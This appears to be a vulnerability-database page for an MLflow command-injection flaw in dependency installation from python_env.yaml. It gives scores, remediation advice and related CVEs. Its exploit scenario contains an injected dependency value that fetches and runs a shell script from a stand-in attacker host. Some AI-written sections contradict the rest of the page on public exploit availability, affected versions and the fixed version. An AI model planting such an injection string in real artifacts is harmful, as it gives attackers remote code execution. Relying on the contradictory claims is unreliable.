Skip to main content

Mlflow CVE-2025-15379

| EUVDEUVD-2025-209121 CRITICAL
Command Injection (CWE-77)
2026-03-30 @huntr_ai GHSA-r23q-823p-vmf7
10.0
CVSS 3.1 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

This vulnerability presents critical real-world risk with multiple converging threat signals. The CVSS 10.0 score accurately reflects maximum severity across all dimensions: network attack vector (AV:N) means exploitation over standard network connections without physical or local access; low complexity (AC:L) requires no special conditions; no privileges required (PR:N) means unauthenticated attackers can exploit; no user interaction (UI:N) enables fully automated attacks; scope change (S:C) indicates compromise beyond the vulnerable component; and complete confidentiality, integrity, and availability impact (C:H/I:H/A:H). Public exploit code exists as evidenced by the Huntr bounty submission and GitHub commit fix, significantly lowering the barrier to exploitation. While not listed in CISA KEV (suggesting no confirmed widespread active exploitation yet), the technical simplicity and public disclosure create imminent weaponization risk. The SSVC decision framework signals high priority: exploitation is publicly demonstrated (POC status), the vulnerability is automatable given network accessibility and no authentication requirements, and technical impact is total system compromise. Organizations using MLflow model serving in production environments face immediate risk, particularly those accepting model artifacts from external or untrusted sources. The fix availability in version 3.8.2 (released concurrently with disclosure) indicates responsible disclosure, but the narrow affected version range (only 3.8.0) suggests recent introduction, meaning rapid patching is achievable for most deployments.

Exploit ScenarioDerived

An attacker crafts a malicious MLflow model artifact containing a weaponized python_env.yaml file with injected shell commands embedded in dependency specifications, such as a package name of 'requests; curl attacker.com/shell.sh | bash; #'. When a victim organization deploys this model with env_manager=LOCAL, MLflow's _install_model_dependencies_to_env() function constructs and executes a shell command that installs the legitimate 'requests' package but also downloads and executes the attacker's remote shell script. Since the vulnerability requires no authentication (PR:N) and is network-accessible (AV:N), attackers can target public-facing MLflow instances or distribute malicious model artifacts through ML model repositories, shared notebooks, or supply chain compromise. The attacker gains complete system access with the privileges of the MLflow serving process, enabling data exfiltration from ML training datasets, model theft, lateral movement to connected data infrastructure, or deployment of persistent backdoors. Publicly available exploit code exists, making this attack scenario immediately executable by adversaries.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 30, 2026

Critical command injection in MLflow 3.8.0 enables remote code execution during model deployment when attackers supply malicious artifacts via the env_manager=LOCAL parameter. The _install_model_dependencies_to_env() function unsafely interpolates dependency specifications from python_env.yaml directly into shell commands without sanitization. With CVSS 10.0 (network-accessible, no authentication, no complexity) and publicly available exploit code exists (reported via Huntr bug bounty, patched in 3.8.2), this represents an immediate critical risk for organizations using MLflow model serving infrastructure. EPSS data not available, but exploitation scenario is straightforward for adversaries with model deployment access.

RemediationAI

Organizations must immediately upgrade MLflow to version 3.8.2 or later, which contains the complete fix for the command injection vulnerability as documented in commit 361b6f620adf98385c6721e384fb5ef9a30bb05e. The upstream fix available via the GitHub repository implements proper input sanitization in the _install_model_dependencies_to_env() function. For environments where immediate patching is not feasible, implement compensating controls including restricting model deployment permissions to trusted users only, implementing strict validation on model artifacts before deployment, avoiding the env_manager=LOCAL parameter if alternative environment managers are viable, and deploying models in isolated sandboxed containers with minimal privileges. Network segmentation should isolate MLflow model serving infrastructure from untrusted networks. Monitor MLflow deployment logs for suspicious dependency installation patterns or shell metacharacters in python_env.yaml files. Review all model artifacts deployed during the 3.8.0 version window for potential compromise indicators. Complete vendor advisory and technical details available at https://huntr.com/bounties/dc9c1c20-7879-4050-87df-4d095fe5ca75 with patch implementation at https://github.com/mlflow/mlflow/commit/361b6f620adf98385c6721e384fb5ef9a30bb05e.

Affected VersionsENISA

mlflow/mlflow unspecified <3.8.2

Affected Packages

pypi mlflow fix: 3.8.1
euvd mlflow_mlflow_unspecified fix: 3.8.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in pypi, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

MLflow is an open-source machine learning lifecycle platform that manages model deployment, serving, and dependency management. The vulnerability resides in the environment manager subsystem that handles Python dependency installation. When env_manager=LOCAL is specified during model deployment, MLflow parses the python_env.yaml file from model artifacts to determine required dependencies. The vulnerable function constructs shell commands by directly concatenating user-controlled dependency strings without input validation or command sanitization. This represents CWE-77 (Command Injection), a critical flaw class where externally-influenced input modifies the intended command string. The affected product MLflow version 3.8.0 uses Python's subprocess or shell invocation mechanisms that interpret special characters and command separators (semicolons, pipes, backticks), allowing attackers to inject arbitrary commands. Model artifacts in MLflow are typically stored as directories containing metadata files, making the python_env.yaml file a trusted input surface that was incorrectly assumed safe.

Severity by source

NVD PRIMARY 10.0 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Red Hat 9.0 HIGH

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

4
CVSS changed
Sep 04, 2026 - 20:07 NVD
9.8 (CRITICAL) 10.0 (CRITICAL)
CVSS changed
Apr 28, 2026 - 14:37 NVD
10.0 (CRITICAL) 9.8 (CRITICAL)
Patch released
Apr 01, 2026 - 02:30 nvd
Patch available
CVE Published
Mar 30, 2026 - 07:16 nvd
CRITICAL 10.0

DescriptionNVD

A command injection vulnerability exists in MLflow's model serving container initialization code, specifically in the _install_model_dependencies_to_env() function. When deploying a model with env_manager=LOCAL, MLflow reads dependency specifications from the model artifact's python_env.yaml file and directly interpolates them into a shell command without sanitization. This allows an attacker to supply a malicious model artifact and achieve arbitrary command execution on systems that deploy the model. The vulnerability affects versions 3.8.0 and is fixed in version 3.8.2.

Executive ViewAI

Why It Matters

MLflow versions 3.8.0 and 3.8.1 contain a critical command injection vulnerability in model deployment that allows unauthenticated remote code execution with a CVSS score of 10.0. Organizations using MLflow for model serving are at immediate risk of complete infrastructure compromise, as attackers can execute arbitrary commands by uploading malicious model artifacts during deployment. This requires immediate isolation and upgrade action.

Business Impact: Severe
Compensating Controls

If upgrade to 3.8.2 cannot be completed within 7 days: (1) Disable the env_manager=LOCAL parameter across all model serving configurations and restrict to env_manager=VIRTUALENV or env_manager=CONDA only; (2) Implement network segmentation to restrict model deployment API access to trusted internal networks only; (3) Enable comprehensive logging and real-time monitoring of all model artifact uploads and deployment operations; (4) Require manual code review and cryptographic signing of all python_env.yaml specifications before deployment. These controls reduce but do not eliminate risk-vendor patch application is mandatory.

Threat Intelligence Overview

EPSS Score
0.2%
Top 62% exploitable
Threat Intel
1
1 source
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +50
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in Mlflow

View all
CVE-2026-64849 CRITICAL POC
9.3 Aug 17

Server-side request forgery in MLflow before 3.15.0 lets remote unauthenticated attackers coerce the server into making

CVE-2024-8859 HIGH POC
7.5 Mar 20

A path traversal vulnerability exists in mlflow/mlflow version 2.15.1. Rated high severity (CVSS 7.5), this vulnerabilit

CVE-2023-3765 CRITICAL POC
10.0 Jul 19

Absolute Path Traversal in GitHub repository mlflow/mlflow prior to 2.5.0. Rated critical severity (CVSS 10.0), this vul

CVE-2026-116692 CRITICAL POC
9.8 Oct 27

Unauthenticated remote code execution in MLflow 3.12.0rc0 through 3.16.x lets any network caller reach the tracking serv

CVE-2026-0545 CRITICAL POC
9.8 Apr 03

MLflow's FastAPI job endpoints bypass basic-auth entirely, allowing network attackers to submit and execute jobs without

CVE-2023-6975 CRITICAL POC
9.8 Dec 20

A malicious user could use this issue to get command execution on the vulnerable machine and get access to data & models

CVE-2023-6974 CRITICAL POC
9.8 Dec 20

A malicious user could use this issue to access internal HTTP(s) servers and in the worst case (ie: aws instance) it cou

CVE-2023-6014 CRITICAL POC
9.8 Nov 16

An attacker is able to arbitrarily create an account in MLflow bypassing any authentication requirment. Rated critical s

CVE-2023-6018 CRITICAL POC
9.8 Nov 16

An attacker can overwrite any file on the server hosting MLflow without any authentication. Rated critical severity (CVS

CVE-2023-2780 CRITICAL POC
9.8 May 17

Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.3.1. Rated critical severity (CVSS 9.8), th

CVE-2023-1177 CRITICAL POC
9.8 Mar 24

Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.2.1. Rated critical severity (CVSS 9.8), th

CVE-2024-27133 CRITICAL POC
9.6 Feb 23

Insufficient sanitization in MLflow leads to XSS when running a recipe that uses an untrusted dataset. Rated critical se

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy